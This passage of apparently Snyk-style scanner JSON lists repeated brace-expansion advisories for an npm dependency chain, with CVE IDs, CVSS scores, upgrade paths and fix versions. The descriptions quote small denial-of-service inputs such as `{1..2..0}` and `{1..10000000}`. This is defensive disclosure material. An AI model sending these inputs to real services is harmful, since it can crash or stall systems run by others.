"modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": 